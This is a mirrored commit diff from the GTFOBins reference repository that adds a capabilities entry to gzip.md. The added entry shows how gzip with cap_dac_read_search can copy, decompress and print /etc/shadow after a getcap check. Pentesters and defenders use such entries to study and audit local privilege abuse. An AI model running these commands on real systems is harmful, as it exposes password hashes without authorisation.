mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Update gzip.md
Adding capabilities for cap_dac_read_search
This commit is contained in:
parent
ac8e667a7e
commit
af39975201
@ -16,4 +16,11 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
sudo gzip -f $LFILE -t
|
sudo gzip -f $LFILE -t
|
||||||
|
capabilities:
|
||||||
|
- description: If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep``
|
||||||
|
code: |
|
||||||
|
gzip can read any file:
|
||||||
|
gzip -c /etc/shadow > /tmp/shadow.gz
|
||||||
|
gzip -d /tmp/shadow.gz
|
||||||
|
cat /tmp/shadow
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user